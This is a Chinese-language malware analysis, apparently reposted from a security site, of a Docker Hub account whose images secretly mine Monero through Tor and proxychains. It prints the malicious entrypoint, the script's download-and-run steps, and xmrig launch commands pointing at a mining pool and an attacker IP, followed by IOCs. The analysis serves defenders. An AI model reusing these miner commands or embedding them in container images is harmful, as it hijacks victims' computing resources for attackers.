过去几年中Docker容器作为打包软件应用的有效方法受到大家青睐,Docker Hub为用户和公司提供了强大的community模型来共享软件应用。但这也吸引了攻击者的注意,他们在Docker容器内进行劫持并使用Docker Hub传播镜像来获利。
发现
目前已经确定了一个恶意Docker Hub帐户azurenql,该帐户自2019年10月以来一直保持活跃。该帐户托管了六个挖矿(Monero)恶意映像,挖掘代码通过ProxyChains和Tor匿名化工具逃避网络检测。
此帐户上托管的镜像已被下载超过200万次,其中一个钱包ID已赚取超过525.38 XMR,相当于36,000美元,在minexmr.com上查看该钱包ID时,发现该钱包仍在使用中。下表提供了此Docker Hub帐户下所有镜像的摘要,并按其提取次数降序排列。
排名第一的镜像已被下载147万多次。
分析
镜像搭建
为了了解如何构建镜像,研究人员构建了azurenql /227_135:442镜像:
1、使用Ubuntu 16.04.6 LTS作为“基础镜像”。
2、安装所需依赖项,例如gcc,make,python等。
3、安装Tor匿名化流量,默认端口9050。
脚本分析
镜像中包含一个名为dao.py的自定义Python脚本,该脚本负责启动容器内的挖矿进程。
"Entrypoint": [
"/bin/sh",
"-c",
"python /etc/dao.py"
],
表1中提到的所有Docker映像都包含此dao.py脚本,脚本之间的区别是使用不同的XMRig命令行进行调用。 表2列出了不同的XMRig命令行调用。
dao.py脚本执行流程:
1、查找系统上的CPU内核数;
2、设置hugepages系统属性以提高hash rate;
2、设置hugepages系统属性以提高hash rate;
3、安装Tor并建立依赖关系;
4、如果尚未安装proxychains-ng,从https://github.com/rofl0r/proxychains-ng.git安装;
5、如果/usr/local/bin中不存在XMRig二进制文件(“ dlls”),从https://github.com/nguyennhatduy2608/azures/raw/master/下载;
6、在/usr/local/bin and /usr/bin下对XMRig二进制文件(“dll”)进行符号链接;
7、后台启动Tor;
8、通过代理启动矿工,矿工将通过本地Tor SOCKS代理矿工流量。
工作流程图如下:
挖矿方式
镜像利用受害系统的处理能力来验证交易,主要使用两种方法在用户环境中挖掘区块。第一种方法是使用钱包ID将已开采的区块直接提交到中央minexmr池。
os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o
stratum+tcp://pool.minexmr.com:4444 -u
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2
Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')
在Monero矿池(minexmr.com)上查找该钱包ID的交易时发现其仍在使用。下图显示了该钱包在2020年4月和2020年5月的活动。
下图表明此钱包ID已赚取525.38 XMR,大约相当于36,000美元。
第二种方法是将实例部署在运行自己的挖掘池服务上。
os.system ('proxychains4 ' + program + ' --donate-level 1 -o
stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))
总结
Docker为打包软件提供了便捷方式,攻击者将其与挖矿结合,把恶意镜像分发到任何支持Docker的机器,并使用其计算资源进行挖矿。
目前发现的恶意镜像签名详细信息是:
用户应避免从不受信任的存储库中提取或使用基本镜像。
IOCs
镜像
挖矿基础设施
Wallet ID
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf
Hostname:Port
73avhutb24chfsh6[.]onion:4425pwcq42aa42fjzel[.]onion:442pool[.]minexmr.com:4444
IP:Port
66[.]42.93.164:442155[.]138.234.122:442155[.]138.227.135:44266[.]42.53.57:442144[.]202.23.108:4444
dao.py script hashes
3a04405e8377dd1f159949e8acb0fa590fff965a871dc7cdc434216a4c253d1f937d59ca356cac225c66b956d521ceaf60a4830584eea7941e378087391e0d8bb7e07fc8eaed7b1abbd70a5b8b7b885a1dd0012498e9389b9db9fdc46cd26ef9de518f16907ee056af49f60f098101a97cad7bcf76833169bbdfd89c06b6da9381496a54fe3f9a7aace5b282e42853002fa2fde74a8782205edbd0106b0b8acd5d1cb23f8f0ecd82769e9d346a06851927ac9738af1d0173c85f5457ffbde71c
Docker Hub account
hub.docker.com/u/azurenql
参考来源
来源:freebuf.com 2020-07-06 11:35:06 by: Kriston
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册